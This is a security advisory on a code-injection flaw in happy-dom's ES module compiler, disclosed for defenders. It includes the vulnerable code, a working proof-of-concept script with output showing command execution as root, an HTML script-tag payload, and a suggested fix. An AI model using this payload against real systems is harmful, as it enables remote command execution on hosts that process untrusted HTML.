| Package | Affected versions | Patched versions |
|---|---|---|
| happy dom | ≥ 15.10.0, < 20.8.8 | 20.8.8 |
| happy-dom | ≥ 15.10.0, < 20.8.8 | 20.8.8 |
A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.
Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385
The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:
} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
// Export object
const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
const exportCode: string[] = [];
for (const part of parts) {
const nameParts = part.trim().split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, ''); // backticks NOT stripped
if (exportName && importName) {
exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
// importName is inserted as executable code, not as a string
}
}
newCode += exportCode.join(';\n');
}
The issue has three root causes:
STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiersimportName is placed in code context (as a JS expression to evaluate), not in string context.replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filterAttack flow:
Source: export { require(`child_process`).execSync(`id`) }
Regex captures match[16] = " require(`child_process`).execSync(`id`) "
After .replace(/["']/g, ''):
importName = "require(`child_process`).execSync(`id`)"
(backticks are preserved)
Generated code:
$happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
evaluateScript() executes this code -> RCE
Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeECMAScriptModuleCompilerStandalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:
// poc_happy_dom_rce.js
// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);
console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());
// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');
console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));
// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);
// Step 4: Verify the generated code is valid JavaScript
try {
new Function('$happy_dom', generatedCode);
console.log('[+] Valid JavaScript: YES');
} catch (e) {
console.log('[-] Parse error:', e.message);
process.exit(1);
}
// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);
Execution result:
$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)
HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:
<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>
An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.
Realistic attack scenarios:
Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:
const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;
for (const part of parts) {
const nameParts = part.trim().split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
const importName = nameParts[0].replace(/["'`]/g, '');
if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
}
}